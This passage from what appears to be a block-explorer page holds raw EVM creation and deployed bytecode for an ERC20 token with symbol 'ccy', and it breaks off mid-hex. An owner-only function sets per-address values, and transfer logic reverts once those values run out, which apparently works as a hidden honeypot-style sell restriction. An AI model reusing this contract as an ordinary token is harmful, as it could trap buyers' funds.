f8362000c02565b915062000c588262000c13565b602082019050919050565b6000602082019050818103600083015262000c7e8162000c3c565b9050919050565b600062000c9282620005d9565b915062000c9f83620005d9565b925082820190508082111562000cba5762000cb9620009d6565b5b92915050565b62000ccb81620005d9565b82525050565b600060208201905062000ce8600083018462000cc0565b92915050565b612ee48062000cfe6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d71461039f578063a9059cbb146103cf578063d547741f146103ff578063dd62ed3e1461041b578063e24622e11461044b578063f2fde38b1461047b57610142565b806370a08231146102e55780638da5cb5b1461031557806391d148541461033357806395d89b4114610363578063a217fddf1461038157610142565b806323b872dd1161010a57806323b872dd146101ff578063248a9ca31461022f5780632f2ff15d1461025f578063313ce5671461027b57806336568abe1461029957806339509351146102b557610142565b806301ffc9a71461014757806306fdde0314610177578063095ea7b3146101955780630f6e3227146101c557806318160ddd146101e1575b600080fd5b610161600480360381019061015c9190612007565b610497565b60405161016e919061204f565b60405180910390f35b61017f610511565b60405161018c91906120fa565b60405180910390f35b6101af60048036038101906101aa91906121b0565b6105a3565b6040516101bc919061204f565b60405180910390f35b6101df60048036038101906101da91906121b0565b6105c1565b005b6101e961088d565b6040516101f691906121ff565b60405180910390f35b6102196004803603810190610214919061221a565b610897565b604051610226919061204f565b60405180910390f35b610249600480360381019061024491906122a3565b61098f565b60405161025691906122df565b60405180910390f35b610279600480360381019061027491906122fa565b6109af565b005b6102836109d3565b6040516102909190612356565b60405180910390f35b6102b360048036038101906102ae91906122fa565b6109dc565b005b6102cf60048036038101906102ca91906121b0565b610a5f565b6040516102dc919061204f565b60405180910390f35b6102ff60048036038101906102fa9190612371565b610b0b565b60405161030c91906121ff565b60405180910390f35b61031d610b53565b60405161032a91906123ad565b60405180910390f35b61034d600480360381019061034891906122fa565b610b7d565b60405161035a919061204f565b60405180910390f35b61036b610be8565b60405161037891906120fa565b60405180910390f35b610389610c7a565b60405161039691906122df565b60405180910390f35b6103b960048036038101906103b491906121b0565b610c81565b6040516103c6919061204f565b60405180910390f35b6103e960048036038101906103e491906121b0565b610d6c565b6040516103f6919061204f565b60405180910390f35b610419600480360381019061041491906122fa565b610d8a565b005b610435600480360381019061043091906123c8565b610dae565b60405161044291906121ff565b60405180910390f35b61046560048036038101906104609190612371565b610e35565b60405161047291906121ff565b60405180910390f35b61049560048036038101906104909190612371565b610e7e565b005b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061050a575061050982610fc8565b5b9050919050565b60606003805461052090612437565b80601f016020809104026020016040519081016040528092919081815260200182805461054c90612437565b80156105995780601f1061056e57610100808354040283529160200191610599565b820191906000526020600020905b81548152906001019060200180831161057c57829003601f168201915b5050505050905090565b60006105b76105b0611032565b848461103a565b6001905092915050565b6105c9611032565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064f906124b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be90612546565b60405180910390fd5b6106cf6109d3565b600a6106db91906126c8565b816106e69190612713565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156107fe5780600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610888565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505050565b6000600254905090565b60006108a4848484611203565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ef611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610966906127c7565b60405180910390fd5b6109838561097b611032565b85840361103a565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b6000801b6109c4816109bf611032565b611282565b6109ce838361131f565b505050565b60006012905090565b6109e4611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890612859565b60405180910390fd5b610a5b8282611400565b5050565b6000610b01610a6c611032565b848460016000610a7a611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610afc9190612879565b61103a565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610bf790612437565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2390612437565b8015610c705780601f10610c4557610100808354040283529160200191610c70565b820191906000526020600020905b815481529060010190602001808311610c5357829003601f168201915b5050505050905090565b6000801b81565b60008060016000610c90611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d449061291f565b60405180910390fd5b610d61610d58611032565b8585840361103a565b600191505092915050565b6000610d80610d79611032565b8484611203565b6001905092915050565b6000801b610d9f81610d9a611032565b611282565b610da98383611400565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e86611032565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c906124b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b906129b1565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090612a43565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110f90612ad5565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111f691906121ff565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990612546565b60405180910390fd5b61127d8383836114e2565b505050565b61128c8282610b7d565b61131b576112b18173ffffffffffffffffffffffffffffffffffffffff166014611561565b6112bf8360001c6020611561565b6040516020016112d0929190612bc9565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131291906120fa565b60405180910390fd5b5050565b6113298282610b7d565b6113fc5760016005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506113a1611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61140a8282610b7d565b156114de5760006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611483611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154890612c75565b60405180910390fd5b61155c83838361179d565b505050565b6060600060028360026115749190612713565b61157e9190612879565b67ffffffffffffffff81111561159757611596612c95565b5b6040519080825280601f01601f1916602001820160405280156115c95781602001600182028036833780820191505090505b5090507f30000000000000000000000000000000000000000000000000000000000000008160008151811061160157611600612cc4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061166557611664612cc4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600060018460026116a59190612713565b6116af9190612879565b90505b600181111561174f577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106116f1576116f0612cc4565b5b1a60f81b82828151811061170857611707612cc4565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061174890612cf3565b90506116b2565b5060008414611793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178a90612d68565b60405180910390fd5b8091505092915050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561181e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181590612dfa565b60405180910390fd5b61182983838361182e565b505050565b611838838261191d565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461190d576118e183600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166118dc60016118ce6103e88761192b90919063ffffffff16565b61194190919063ffffffff16565b611957565b61190a6103e76118fc6103e88461192b90919063ffffffff16565b61194190919063ffffffff16565b90505b611918838383611957565b505050565b6119278282611bd6565b5050565b600081836119399190612e49565b905092915050565b6000818361194f9190612713565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bd90612546565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2c90612c75565b60405180910390fd5b611a40838383611d18565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd90612dfa565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b599190612879565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bbd91906121ff565b60405180910390a3611bd0848484611d1d565b50505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d0a576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115611cc2576001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d08565b6000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505b611d148282611d22565b5050565b505050565b505050565b611d2c8282611d30565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d8e5750600081115b15611f90576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611f05576000611e2e82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9490919063ffffffff16565b905080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008111611eff576001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590612dfa565b60405180910390fd5b5b50611f8f565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5b5050565b60008183611fa29190612e7a565b905092915050565b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b611fe481611faf565b8114611fef57600080fd5b50565b60008135905061200181611fdb565b92915050565b60006020828403121561201d5761201c611faa565b5b600061202b84828501611ff2565b91505092915050565b60008115159050919050565b61204981612034565b82525050565b60006020820190506120646000830184612040565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156120a4578082015181840152602081019050612089565b60008484015250505050565b6000601f19601f8301169050919050565b60006120cc8261206a565b6120d68185612075565b93506120e6818560208601612086565b6120ef816120b0565b840191505092915050565b6000602082019050818103600083015261211481846120c1565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121478261211c565b9050919050565b6121578161213c565b811461216257600080fd5b50565b6000813590506121748161214e565b92915050565b6000819050919050565b61218d8161217a565b811461219857600080fd5b50565b6000813590506121aa81612184565b92915050565b600080604083850312156121c7576121c6611faa565b5b60006121d585828601612165565b92505060206121e68582860161219b565b9150509250929050565b6121f98161217a565b82525050565b600060208201905061221460008301846121f0565b92915050565b60008060006060848603121561223357612232611faa565b5b600061224186828701612165565b935050602061225286828701612165565b92505060406122638682870161219b565b9150509250925092565b6000819050919050565b6122808161226d565b811461228b57600080fd5b50565b60008135905061229d81612277565b92915050565b6000602082840312156122b9576122b8611faa565b5b60006122c78482850161228e565b91505092915050565b6122d98161226d565b82525050565b60006020820190506122f460008301846122d0565b92915050565b6000806040838503121561231157612310611faa565b5b600061231f8582860161228e565b925050602061233085828601612165565b9150509250929050565b600060ff82169050919050565b6123508161233a565b82525050565b600060208201905061236b6000830184612347565b92915050565b60006020828403121561238757612386611faa565b5b600061239584828501612165565b91505092915050565b6123a78161213c565b82525050565b60006020820190506123c2600083018461239e565b92915050565b600080604083850312156123df576123de611faa565b5b60006123ed85828601612165565b92505060206123fe85828601612165565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244f57607f821691505b60208210810361246257612461612408565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061249e602083612075565b91506124a982612468565b602082019050919050565b600060208201905081810360008301526124cd81612491565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612530602583612075565b915061253b826124d4565b604082019050919050565b6000602082019050818103600083015261255f81612523565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156125ec578086048111156125c8576125c7612566565b5b60018516156125d75780820291505b80810290506125e585612595565b94506125ac565b94509492505050565b60008261260557600190506126c1565b8161261357600090506126c1565b8160018114612629576002811461263357612662565b60019150506126c1565b60ff84111561264557612644612566565b5b8360020a91508482111561265c5761265b612566565b5b506126c1565b5060208310610133831016604e8410600b84101617156126975782820a90508381111561269257612691612566565b5b6126c1565b6126a484848460016125a2565b925090508184048111156126bb576126ba612566565b5b81810290505b9392505050565b60006126d38261217a565b91506126de8361233a565b925061270b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846125f5565b905092915050565b600061271e8261217a565b91506127298361217a565b92508282026127378161217a565b9150828204841483151761274e5761274d612566565b5b5092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006127b1602883612075565b91506127bc82612755565b604082019050919050565b600060208201905081810360008301526127e0816127a4565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6000612843602f83612075565b915061284e826127e7565b604082019050919050565b6000602082019050818103600083015261287281612836565b9050919050565b60006128848261217a565b915061288f8361217a565b92508282019050808211156128a7576128a6612566565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612909602583612075565b9150612914826128ad565b604082019050919050565b60006020820190508181036000830152612938816128fc565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061299b602683612075565b91506129a68261293f565b604082019050919050565b600060208201905081810360008301526129ca8161298e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612a2d602483612075565b9150612a38826129d1565b604082019050919050565b60006020820190508181036000830152612a5c81612a20565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612abf602283612075565b9150612aca82612a63565b604082019050919050565b60006020820190508181036000830152612aee81612ab2565b9050919050565b600081905092915050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b6000612b36601783612af5565b9150612b4182612b00565b601782019050919050565b6000612b578261206a565b612b618185612af5565b9350612b71818560208601612086565b80840191505092915050565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b6000612bb3601183612af5565b9150612bbe82612b7d565b601182019050919050565b6000612bd482612b29565b9150612be08285612b4c565b9150612beb82612ba6565b9150612bf78284612b4c565b91508190509392505050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c5f602383612075565b9150612c6a82612c03565b604082019050919050565b60006020820190508181036000830152612c8e81612c52565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cfe8261217a565b915060008203612d1157612d10612566565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b6000612d52602083612075565b9150612d5d82612d1c565b602082019050919050565b60006020820190508181036000830152612d8181612d45565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612de4602683612075565b9150612def82612d88565b604082019050919050565b60006020820190508181036000830152612e1381612dd7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e548261217a565b9150612e5f8361217a565b925082612e6f57612e6e612e1a565b5b828204905092915050565b6000612e858261217a565b9150612e908361217a565b9250828203905081811115612ea857612ea7612566565b5b9291505056fea26469706673582212201833264ea53a44c09f7375365b988baf49110c865f7de811e084f94bc68797ca64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e1000000000000000000000000000000000000000000000000000000000000000003636379000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036363790000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a457c2d71161007c578063a457c2d71461039f578063a9059cbb146103cf578063d547741f146103ff578063dd62ed3e1461041b578063e24622e11461044b578063f2fde38b1461047b57610142565b806370a08231146102e55780638da5cb5b1461031557806391d148541461033357806395d89b4114610363578063a217fddf1461038157610142565b806323b872dd1161010a57806323b872dd146101ff578063248a9ca31461022f5780632f2ff15d1461025f578063313ce5671461027b57806336568abe1461029957806339509351146102b557610142565b806301ffc9a71461014757806306fdde0314610177578063095ea7b3146101955780630f6e3227146101c557806318160ddd146101e1575b600080fd5b610161600480360381019061015c9190612007565b610497565b60405161016e919061204f565b60405180910390f35b61017f610511565b60405161018c91906120fa565b60405180910390f35b6101af60048036038101906101aa91906121b0565b6105a3565b6040516101bc919061204f565b60405180910390f35b6101df60048036038101906101da91906121b0565b6105c1565b005b6101e961088d565b6040516101f691906121ff565b60405180910390f35b6102196004803603810190610214919061221a565b610897565b604051610226919061204f565b60405180910390f35b610249600480360381019061024491906122a3565b61098f565b60405161025691906122df565b60405180910390f35b610279600480360381019061027491906122fa565b6109af565b005b6102836109d3565b6040516102909190612356565b60405180910390f35b6102b360048036038101906102ae91906122fa565b6109dc565b005b6102cf60048036038101906102ca91906121b0565b610a5f565b6040516102dc919061204f565b60405180910390f35b6102ff60048036038101906102fa9190612371565b610b0b565b60405161030c91906121ff565b60405180910390f35b61031d610b53565b60405161032a91906123ad565b60405180910390f35b61034d600480360381019061034891906122fa565b610b7d565b60405161035a919061204f565b60405180910390f35b61036b610be8565b60405161037891906120fa565b60405180910390f35b610389610c7a565b60405161039691906122df565b60405180910390f35b6103b960048036038101906103b491906121b0565b610c81565b6040516103c6919061204f565b60405180910390f35b6103e960048036038101906103e491906121b0565b610d6c565b6040516103f6919061204f565b60405180910390f35b610419600480360381019061041491906122fa565b610d8a565b005b610435600480360381019061043091906123c8565b610dae565b60405161044291906121ff565b60405180910390f35b61046560048036038101906104609190612371565b610e35565b60405161047291906121ff565b60405180910390f35b61049560048036038101906104909190612371565b610e7e565b005b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061050a575061050982610fc8565b5b9050919050565b60606003805461052090612437565b80601f016020809104026020016040519081016040528092919081815260200182805461054c90612437565b80156105995780601f1061056e57610100808354040283529160200191610599565b820191906000526020600020905b81548152906001019060200180831161057c57829003601f168201915b5050505050905090565b60006105b76105b0611032565b848461103a565b6001905092915050565b6105c9611032565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064f906124b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be90612546565b60405180910390fd5b6106cf6109d3565b600a6106db91906126c8565b816106e69190612713565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156107fe5780600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610888565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505050565b6000600254905090565b60006108a4848484611203565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ef611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610966906127c7565b60405180910390fd5b6109838561097b611032565b85840361103a565b60019150509392505050565b600060056000838152602001908152602001600020600101549050919050565b6000801b6109c4816109bf611032565b611282565b6109ce838361131f565b505050565b60006012905090565b6109e4611032565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4890612859565b60405180910390fd5b610a5b8282611400565b5050565b6000610b01610a6c611032565b848460016000610a7a611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610afc9190612879565b61103a565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006005600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b606060048054610bf790612437565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2390612437565b8015610c705780601f10610c4557610100808354040283529160200191610c70565b820191906000526020600020905b815481529060010190602001808311610c5357829003601f168201915b5050505050905090565b6000801b81565b60008060016000610c90611032565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d449061291f565b60405180910390fd5b610d61610d58611032565b8585840361103a565b600191505092915050565b6000610d80610d79611032565b8484611203565b6001905092915050565b6000801b610d9f81610d9a611032565b611282565b610da98383611400565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e86611032565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c906124b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b906129b1565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090612a43565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611118576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110f90612ad5565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d